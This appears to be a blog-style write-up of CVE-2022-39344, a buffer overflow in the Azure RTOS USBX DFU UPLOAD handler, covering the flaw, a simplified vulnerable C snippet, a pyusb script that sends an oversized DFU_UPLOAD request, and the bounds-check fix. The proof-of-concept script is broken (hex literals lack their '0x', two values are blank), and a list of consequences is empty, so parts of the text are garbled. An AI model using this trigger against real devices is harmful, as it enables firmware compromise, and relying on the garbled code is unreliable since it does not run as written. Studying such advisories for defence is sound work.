CVE-2022-39344 - Inside the Azure RTOS USBX DFU UPLOAD Buffer Overflow (with Exploitation Insights)

Azure RTOS is widely used in many embedded and IoT devices, providing a solid, secure Real-Time Operating System. One of its core clusters is USBX, a complete USB stack supporting host, device, and OTG roles, tightly integrated inside the Azure ThreadX kernel.

CVE-2022-39344 is a critical vulnerability found in the USBX DFU (Device Firmware Update) UPLOAD handler before version 6.1.12. Let's dive deep into how it works, how an attacker can exploit it, and what mitigations have been proposed.

Understanding the Vulnerability

In Azure RTOS USBX, the DFU UPLOAD feature lets the device send data (usually firmware) back to the USB host. There is a crucial problem: earlier implementations don’t properly verify the size of incoming UPLOAD requests in all states, which can lead to a buffer overflow.

Vulnerable Function: ux_device_class_dfu_control_request

- Trigger: A malicious host sends a crafted UPLOAD command with a wLength (data length) bigger than expected, which the handler does not check in all possible states.

Where's the Danger?

If an attacker exploits this overflow, they can overwrite critical areas of memory. In embedded devices—often firmware—not many security features separate between the firmware and critical data. Thus, a buffer overflow could:

Exploit Details — How Might It Work?

Scenario: Attacker controls a USB host (for example, a compromised laptop or a malicious update tool) and connects to a USB device running vulnerable USBX firmware.

Start DFU Session: The host requests the device to enter DFU mode, as per spec.

2. Send Malformed UPLOAD Command: The host sends a USB control request with a large wLength field.
3. Trigger Overflow: The device’s DFU firmware, not checking wLength against internal buffers in all states, copies too much data to a small buffer.
4. Overwrite Memory: The attacker can overwrite adjacent areas—potentially function pointers, return addresses, or control structures.
5. Hijack Control Flow: With precise memory layout knowledge (via reverse engineering), the attacker could jump execution to their own supplied code.

Here's a simplified look at what the vulnerable code block used to do

UINT ux_device_class_dfu_control_request(DFU *dfu, UX_SLAVE_TRANSFER *transfer) {
    switch(state) {
        // ...snip...

        case UX_SYSTEM_DFU_STATE_DFU_IDLE:
            // Here, there WAS a check for UPLOAD_LENGTH
            if(transfer->wLength > DFU_TRANSFER_BUFFER_SIZE)
                return ERROR;
            memcpy(transfer->data_pointer, dfu->buffer, transfer->wLength);
            break;

        case UX_SYSTEM_DFU_STATE_DFU_DOWNLOAD_SYNC:
            // NO check here in old versions!
            memcpy(transfer->data_pointer, dfu->buffer, transfer->wLength); // <--- Buffer overflow!
            break;

        // ...snip...
    }
}

How a Malicious Host Might Send the Malformed Command (Python Example)

If you want to visualize the exploit in a test environment, using pyusb, the attack might look like:

import usb.core
import usb.util

dev = usb.core.find(idVendor=x1234, idProduct=x5678)
if dev is None:
    raise ValueError('Device not found')

BMREQUESTTYPE = xA1  # Device to host, class, interface
BREQUEST = 2          # DFU_UPLOAD
WVALUE = 
WINDEX = 
LONG_LENGTH = x200    # Much larger than expected buffer

data = dev.ctrl_transfer(BMREQUESTTYPE, BREQUEST, WVALUE, WINDEX, LONG_LENGTH)
print(data)

Like this, the host sends a control transfer with a wLength (LONG_LENGTH) beyond the buffer on the device—causing the overflow.

Patch all DFU states in your code to include a length check, NOT just DFU_IDLE

if (transfer->wLength > DFU_TRANSFER_BUFFER_SIZE)
    return ERROR;    // Or UX_ERROR, whatever fits your stack

Devices that expose USB DFU functionality during runtime

- Typical examples: IoT hubs, smart devices, industrial controllers, or any USB upgradeable embedded system

Conclusion

CVE-2022-39344 is a textbook example of how a hungry buffer in embedded firmware opens the door to code execution attacks. Because USBX powers many IoT and industrial products, it’s a prime target—not just for theoretical attacks, but for real-world exploitation, especially in supply chain or targeted scenarios.

Key takeaway:
*If your product uses Azure RTOS USBX DFU, check your version NOW. Upgrade to 6.1.12 or at least patch your DFU UPLOAD handler with bounds checks in every DFU state. Don’t give the attackers more buffer than you can handle!*

*This analysis is written exclusively for this context and will help engineers, developers, and decision-makers understand and combat CVE-2022-39344 in their embedded products.*

Timeline

Published on: 11/04/2022 20:15:00 UTC
Last modified on: 11/07/2022 17:22:00 UTC